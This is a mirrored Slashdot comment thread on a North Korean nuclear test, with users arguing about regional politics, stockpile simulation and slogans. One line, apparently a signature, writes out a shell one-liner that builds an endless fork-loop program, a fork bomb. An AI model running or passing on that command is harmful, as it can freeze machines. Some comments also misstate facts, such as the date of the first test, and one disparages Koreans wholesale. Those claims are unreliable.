Slashdot Mirror
North Korea Conducts Nuclear Test
viyh writes "North Korea conducted a nuclear test on Monday, South Korea's Yonhap news agency quoted a ruling party official as saying.
A magnitude 4.7 earthquake was recorded by the USGS in North Korea.
South Korean President Lee Myung-bak has called an emergency meeting of cabinet ministers over the test, Yonhap said."
Soooo ronery....
"I have never let my schooling interfere with my education." --Mark Twain
Whole N Korea thing is something like a troll guy who begs for ''replies'' or getting banned until he gets the ultimate attention.
There were no news about N Korea for a while and bam, they explode a nuke.
Can a country troll? They seem to be able to do it.
I hate to burst you bubble of ignorance, but, North Korea's first nuke test was on Oct. 9th, 2008. You know, when that other guy was still in office. And it was in development for a long time before that. Barry has been on the job three months. He's barely had time to get into the front door of the White House. You can't pin this on him at all. Kim Jong Il has always been one to do as he pleases.
"I have never let my schooling interfere with my education." --Mark Twain
How about, when you have a job and get paid the same no matter what you do, you don't try very hard and industry stagnates. I lived in a former communist country for a while. I know how it is. Tire factories producing tires with bolts in them... horrible quality and service everywhere.
Things don't simply "work" or not. Human history is a continuum of change. Communism worked for some time in some places, Capitalism is working for some time in some places. There is no definitive solution, because there isn't a definitive problem.
The real nutjobs are the ones that claim to have found the "End of History". And both commies and cappies are guilty of such arrogance.
I am saying this to people who thinks just because Russia and USA doesn't blow stuff up, nukes are over. Nukes just explode digitally these days which means they must be progressing way better than ''Lets blow this thing and see what it does'' ages.
There is a difference. The nuke testing done on computers by the USA and Russia is done for purposes of maintenance of current stockpiles and was key to implementing the 1992 moratorium on testing. The simulations aren't generally about simulating explosions, they are about simulating decay and related aging of the current stockpiles so that we can know what nukes will still go boom if we launch them.
In the US, the federal program that handles this stuff (and puts a lot of systems on the Top500 list) is ASCI - the Advanced Strategic Computing Initiative.
When information is power, privacy is freedom.
Kim Jong Il is definitely not a nutjob. North Korea's internal politics are a pressure cooker like few on the planet. He's extremely smart, politically savvy and extremely ruthless. He learned at the feet of a master - his father - and successfully transitioned to power when it was widely expected he would fail. This is a man that thinks nothing of starving millions (as happened in the late '90's) of his own people if it suits his political needs. North Korea has survived for over half a century by using it's massive military to threaten the South and has played public opinion in South Korea like a violin.
Since China transitioned from a closed economy and withdrew much of it's overt support, North Korea has successfully used seemingly insane threats as negotiating leverage to obtain international aid many times. Because of China's residual support for the regime and their legitimate fear of massive numbers of refugees crossing the border, as well as resistance by (probably North supported) elements in South Korea it has been politically impossible to call North Korea's bluff. This is perhaps the one thing that could successfully break the back of the regime and initiate change in the North.
If it were possible to "pull the plug" on international aid and enlist China to stare down the North's military threats the regime would probably collapse, but it's unlikely China could be induced to do so given the flood of refugees they would inevitably have to handle.
Hence the "insanity" continues with no end in sight.
I have mod points. The reign of terror begins now.
A few things:
1) The S. Korean army can defend itself from the North. The reason we (I'm American) were there originally was that it was assumed (probably rightly) that any confrontation would actually be with China, through North Korea, which would be a pretty big, horrible war.
2) The reason we're still there is basically the same: As a deterrent against China. If China misbehaves, we're right there. Also, we have a joint security treaty with Japan, and basically share militaries with them (they don't have one, officially, but... they have one). There are many Asian history scholars who basically see the current Korean situation (North/South) as a buffer to keep China away from Japan (remember that the US and Japan are old buddies, having only had that little spat in the 40s). Full disclosure: I live in Japan and my wife is Japanese; I'd like us to continue this deal (there's no reason to stop it--Japan is and always has been the only country in Asia whose values mesh well with the West--chivalry and Calvinism, basically, although they go by different names).
3) Who would benefit from a war in South Korea? Nobody in the short term, China in the long term. In the short term, Korea (both of them) would suffer, Japan might take some hits (they would be really not cool with that), and then China would take the area over, getting all that American infrastructure and brain investment, in addition to some of the shittiest land in East Asia. It wouldn't really be a desirable thing.
4) Koreans are crazily patriotic. They denounce everybody. They insist on serving kimchi with French food (I love kimchi, but, um... Do we serve ketchup with pulgogi in the US???), just to assert their Korean-ness. It's insane. They bitch and moan about Japan and burn the Japanese flag every time a politician has the audacity to honor Japan's war dead, despite the fact that a large percentage of their business comes from Japan and they have just basically copied the Japanese economic model--even where it makes no sense to their situation. Korea is nuts. Both Koreas. Crazy. A history of playing second-fiddle to whomever else was in power has bred a keen inferiority complex, which they overcompensate for. So saying they hate America is not really the whole picture. They hate everybody.
Finally, I don't really care if North Korea gets the bomb either, and I live in their closest target. 10 years ago when I was a student in Osaka, they fired a rocket over our heads and it landed in Osaka harbor. I think I was supposed to be scared, but my response was, "Oh fuck you." That's all I feel today, too. I'm not afraid of these morons. They're not going to do shit, and if they did, they'd be wiped off the map by mid-afternoon.
It isn't necessarily a nuke that could be fitted into a missile
The test is being reported as an 'Hiroshima' size yield: around 20 kilotons.
This doesn't mean they have a fully-funtional nuke in the moden sense of the word. The Hiroshima bomb was basically a large gun that fired a chunk of 90% U-235 into another chunk of Uranium, and was a proof-of-concept that was simple and guaranteed to work. And big: not possible to mount on a Taepodong-2. They have hundreds of kilos of Uranium from their pre-2007 nuclear power industry that can be enriched for this type of bomb.
Until they can show they're testing nukes using shaped Plutonium and timed explosives, this could be just bravado to stir up support for the military as Kim Jong-Il hands power over to one of his sons. Not necessaily technical achievement.
The odd thing about North Korea is that even without nukes it is offlimits for US military action for three reasons
First most people think the North Korean army would fight if attacked, unlike the Iraqi one. Their equipment is outdated, but they have numbers and determination would most likely kill enough Americans to trigger a Vietnam style withdrawal. I'd guess China would keep them supplied too.
Secondly North Korea has vast amounts of artillery aimed at Seoul, the capital of South Korea. It is theorized that if attacked they would shell Seoul. By the time the artillery had been destroyed by US airpower millions of South Koreans would be dead, and probably thousands of US pilots. The US government would most likely not be able to accept that loss.
Finally it's widely believed that China has told the US that NK is under its protection and that attacking it would move the US and China into an open state of hostility.
Now they do have nukes they could use them on US forces, Japan or South Korea. Actually I think that Japan or the US would probably be able to shoot down NK missiles or destroy them on the ground as they are liquid fueled and thus take time to set up. Also there are questions of whether they would be able to build a warhead that would fit on a missile. So compared to their conventional military and powerful allies, their nukes are not particularly useful.
Of course even a few dummy missile launches at Japan may trigger an extreme overreaction on Japan's part. Their current pacifism could be revoked quite quickly and while pointedly non nuclear it is widely believed that they could build a large nuclear arsenal very quickly if threatened. China would no doubt react by building up its own military. So an attack on NK would most likely leave South East Asia looking like a much more threatening place.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
them chanting "Death to America" at a political rally
In Iran the phrase "Death to...." is a commonly used slang term. It is used much in the same manner as you would hear Americans say "Fuck that" or "Dammit" or "Damn it to Hell".
So when you hear people chanting Death to America, its meaning is more along the lines of "Fuck those assholes" than "We want to kill all Americans". You can also commonly hear people say Death to traffic, Death to children, Death to politics, and Death to whatever happens to be pissing someone off at the time.
Think about what you yourself say if it's taken literally. Have you ever said "I'm going to kill somebody"? Did you really mean you were going to murder them? Didn't think so. Ever said "Damn it" or "Damn them"? That phrase literally means to send someone/something into the Hellish afterlife, but is that what you were actually advocating?
Getting worked up over slang words that you saw on TV is a stupid method of making an opinion about an entire culture.